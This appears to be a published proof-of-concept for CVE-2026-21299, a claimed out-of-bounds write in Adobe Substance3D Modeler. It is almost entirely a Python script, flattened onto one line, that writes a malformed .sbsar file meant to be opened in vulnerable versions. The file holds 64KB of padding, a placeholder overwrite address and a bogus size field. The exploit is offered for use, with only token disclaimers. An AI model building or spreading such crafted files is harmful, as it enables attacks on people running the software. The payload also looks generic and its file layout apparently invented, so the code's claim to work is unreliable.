CVE-2026-21299: Adobe Substance3D Modeler越界写入漏洞导致远程代码执行

# CVE-2026-21299 PoC - Malicious Substance3D Modeler File # This PoC creates a malformed .sbsar file that triggers out-of-bounds write # Usage: Open the generated file in Adobe Substance3D Modeler <= 1.22.4 import struct import os def create_malicious_sbsar(): """ Generate a malicious SBSAR file to trigger CVE-2026-21299 The file contains crafted data that causes buffer overflow during parsing """ # SBSAR file header header = b'SBSAR' # File signature header += struct.pack('<I', 1) # Version header += struct.pack('<I', 0x100) # Offset to data # Malicious payload that triggers OOB write # Long string to overflow buffer boundaries overflow_data = b'A' * 0x10000 # 64KB of padding # Crafted object properties that trigger unsafe write # Overwrite function pointers or vtable entries shellcode_addr = struct.pack('<Q', 0x4141414141414141) # Fake address trigger_data = overflow_data + shellcode_addr * 100 # File metadata with malicious values metadata = b'\x00' * 16 # Reserved metadata += struct.pack('<I', 0xFFFFFFFF) # Malformed size field metadata += trigger_data # Combine all parts malicious_file = header + metadata return malicious_file def main(): output_path = 'CVE-2026-21299_poc.sbsar' poc_data = create_malicious_sbsar() with open(output_path, 'wb') as f: f.write(poc_data) print(f'[+] PoC file generated: {output_path}') print(f'[+] File size: {len(poc_data)} bytes') print('[!] Warning: This PoC is for educational/research purposes only') print('[!] Do not use for malicious activities') if __name__ == '__main__': main()